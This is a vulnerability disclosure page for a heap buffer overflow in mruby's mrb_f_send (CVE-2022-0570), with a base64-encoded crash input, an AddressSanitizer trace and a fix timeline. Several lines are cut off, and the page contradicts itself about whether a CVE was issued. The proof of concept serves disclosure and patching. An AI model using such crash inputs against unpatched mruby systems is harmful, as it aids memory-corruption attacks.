Heap-based Buffer Overflow in mruby/mruby

0

Valid Reported on Feb 9th 2022

Description

Heap Overflow occurs in mrb_f_send().
commit : d912b864df3199f2108601a0451532c587a5e830

Proof of Concept

```
$ echo -ne "c2VuZCJzZW5kIiwic2VuZCIsInNlbmQiLCJzZW5kIiwic2VuZCIsInNlbmQiLCJ
ZCIsInNlbmQiLCJzZW5kIiwic2VuZCIsInNlbmQiLCJzZW5kIiwic2VuZCIsInNlbmQiLCJzZW5
IgAAAAo=" | base64 -d > poc

# ASAN
$ ./bin/mruby
=================================================================
==1392717==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60d00
READ of size 8 at 0x60d0000000c0 thread T0
    #0 0x58722d in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:695:12
    #1 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #2 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #3 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #4 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #5 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #6 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #7 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #8 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #9 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #10 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #11 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #12 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/
    #13 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src
    #14 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #15 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #16 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #17 0x59cb54 in mrb_vm_exec /home/alkyne/mruby-debug/src/vm.c:1633:18

    #18 0x58beda in mrb_vm_run /home/alkyne/mruby-debug/src/vm.c:1128:12
    #19 0x586649 in mrb_top_run /home/alkyne/mruby-debug/src/vm.c:3037:12
    #20 0x68da7b in mrb_load_exec /home/alkyne/mruby-debug/mrbgems/mruby-c
    #21 0x68ec5b in mrb_load_detect_file_cxt /home/alkyne/mruby-debug/mrbge
    #22 0x4cd28f in main /home/alkyne/mruby-debug/mrbgems/mruby-bin-mruby/t
    #23 0x7f7becfa10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/
    #24 0x41d70d in _start (/home/alkyne/mruby-debug/bin/mruby.asan+0x41d70

0x60d0000000c1 is located 0 bytes to the right of 129-byte region [0x60d000
allocated by thread T0 here:
    #0 0x4988e9 in realloc (/home/alkyne/mruby-debug/bin/mruby.asan+0x4988e
    #1 0x5f4fb5 in mrb_default_allocf /home/alkyne/mruby-debug/src/state.c:
    #2 0x654f1e in mrb_realloc_simple /home/alkyne/mruby-debug/src/gc.c:226
    #3 0x6554a4 in mrb_realloc /home/alkyne/mruby-debug/src/gc.c:240:8
    #4 0x4d6733 in ary_make_shared /home/alkyne/mruby-debug/src/array.c:175
    #5 0x4da3ee in ary_subseq /home/alkyne/mruby-debug/src/array.c:836:3
    #6 0x4da047 in mrb_ary_subseq /home/alkyne/mruby-debug/src/array.c:851:
    #7 0x587933 in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:711:15
    #8 0x59cb54 in mrb_vm_exec /home/alkyne/mruby-debug/src/vm.c:1633:18
    #9 0x58beda in mrb_vm_run /home/alkyne/mruby-debug/src/vm.c:1128:12
    #10 0x586649 in mrb_top_run /home/alkyne/mruby-debug/src/vm.c:3037:12
    #11 0x68da7b in mrb_load_exec /home/alkyne/mruby-debug/mrbgems/mruby-c
    #12 0x68ec5b in mrb_load_detect_file_cxt /home/alkyne/mruby-debug/mrbge
    #13 0x4cd28f in main /home/alkyne/mruby-debug/mrbgems/mruby-bin-mruby/t
    #14 0x7f7becfa10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/alkyne/mruby-debug/sr
Shadow bytes around the buggy address:
  0x0c1a7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c1a7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c1a7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c1a7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c1a7fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
=>0x0c1a7fff8010: 00 00 00 00 00 00 00 00[01]fa fa fa fa fa fa fa
  0x0c1a7fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c1a7fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c1a7fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c1a7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c1a7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c1a7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):

  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==1392717==ABORTING
```

Impact

Heap based Buffer Overflow may lead to exploiting the program, which can allow the attacker to execute arbitrary code.

CVE
CVE-2022-0570
(Published)

Vulnerability Type
CWE-122: Heap-based Buffer Overflow

Severity
High (8.4)

Visibility

Public

Status

Fixed

Found by

alkyne Choi

@alkyne

unranked

Fixed by

Yukihiro "Matz" Matsumoto

@matz

maintainer

This report was seen 399 times.

We are processing your report and will contact the **mruby** team within 24 hours. 10 months ago

alkyne Choi modified the report 10 months ago

We have contacted a member of the **mruby** team and are waiting to hear back 10 months ago

Yukihiro "Matz" Matsumoto validated this vulnerability 9 months ago

alkyne Choi has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Yukihiro "Matz" Matsumoto marked this as fixed in **3.2** with commit **38b164** 9 months ago

Yukihiro "Matz" Matsumoto has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Sign in to join this conversation

Chat with us